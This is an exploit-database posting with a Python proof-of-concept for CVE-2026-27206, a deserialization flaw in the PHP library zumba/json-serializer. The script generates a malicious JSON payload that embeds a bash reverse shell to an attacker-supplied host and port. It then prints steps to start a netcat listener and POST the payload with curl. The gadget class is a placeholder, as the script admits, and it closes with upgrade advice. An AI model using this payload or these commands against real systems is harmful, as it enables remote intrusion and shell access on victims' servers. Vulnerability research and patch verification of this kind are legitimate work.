zumba/json-serializer zumba/json-serializer < 3.2.3 RCE

2026.03.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-502

#!/usr/bin/env python3 # Exploit Title: zumba/json-serializer zumba/json-serializer < 3.2.3 RCE # CVE: CVE-2026-27206 # Date: 2026-02-24 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/zumba/json-serializer # Software Link: https://github.com/zumba/json-serializer # Affected: zumba/json-serializer < 3.2.3 # Tested on: PHP 8.1 / 8.2 # Category: Remote Code Execution # Platform: PHP # Exploit Type: Remote # CVSS: 8.1 (HIGH) # CWE: CWE-502 (Deserialization of Untrusted Data) # Description: Unrestricted PHP object instantiation via @type in JsonSerializer::unserialize() allowing arbitrary class creation and potential code execution via magic methods / gadget chains # Fixed in: 3.2.3 # Usage: python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py http://example.com/api/unserialize --lhost 192.168.1.100 --lport 4444 # # Notes: # • This script generates and shows a malicious payload. # • Actual exploitation requires: # 1. An endpoint that accepts JSON and passes it directly to JsonSerializer::unserialize() # 2. A usable POP gadget chain present in the target application or its dependencies # • Without a gadget chain this only demonstrates object injection (no RCE). # print(""" ____ _____ ___ _ _ ___ ___ ___ / ___| | ____| / _ \ | | | | / _ \ / _ \ / _ \ | | | _| | | | | | |_| | | | | | | | | | | | | |___ | |___ | |_| | | _ | | |_| | |_| | |_| | \____| |_____| \___/ |_| |_| \___/ \___/ \___/ CVE-2026-27206 – Proof of Concept ──────────────────────────────────── Author : Mohammed Idrees Banyamer Country : Jordan Instagram : @banyamer_security Date : 2026-02-24 """) import argparse import json import sys def generate_payload(lhost, lport): # Example reverse shell command (modify for your target OS / needs) revshell_cmd = ( f"bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"" ) # This is a DEMONSTRATION payload. # In real attacks you need a valid gadget chain (Monolog, Symfony, Laravel, etc.) payload = { "@type": "RCEGadget", "cmd": revshell_cmd } return json.dumps(payload, separators=(',', ':')) def main(): parser = argparse.ArgumentParser(description="CVE-2026-27206 Proof of Concept - Payload Generator") parser.add_argument("target", help="Target URL that accepts JSON input (for display only)") parser.add_argument("--lhost", required=True, help="Your IP address for reverse shell") parser.add_argument("--lport", required=True, help="Port to listen on") args = parser.parse_args() print(f"[*] Target URL (info only): {args.target}") print(f"[*] Listener: {args.lhost}:{args.lport}") print() malicious_json = generate_payload(args.lhost, args.lport) print("[+] Generated malicious JSON payload:") print("──────────────────────────────────────────────────────────────────────────────") print(malicious_json) print("──────────────────────────────────────────────────────────────────────────────") print() print("[!] How to use this payload:") print(" 1. Start a listener: nc -lvnp", args.lport) print(" 2. POST the JSON above to an endpoint that uses JsonSerializer::unserialize()") print(" Example (curl):") print(f" curl -X POST {args.target} \\") print(" -H 'Content-Type: application/json' \\") print(" -d '" + malicious_json.replace("'", "'\\''") + "'") print() print("[!] Important:") print(" This payload only works if the application:") print(" • Uses vulnerable zumba/json-serializer (< 3.2.3)") print(" • Does NOT call setAllowedClasses()") print(" • Contains a POP chain that triggers code execution from the crafted object") print() print(" Without a gadget chain → only object injection (no RCE)") print(" Upgrade to >= 3.2.3 and use setAllowedClasses([]) or a whitelist") if __name__ == "__main__": if len(sys.argv) == 1: print("Error: Missing arguments. Use --help for usage.\n") sys.exit(1) main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top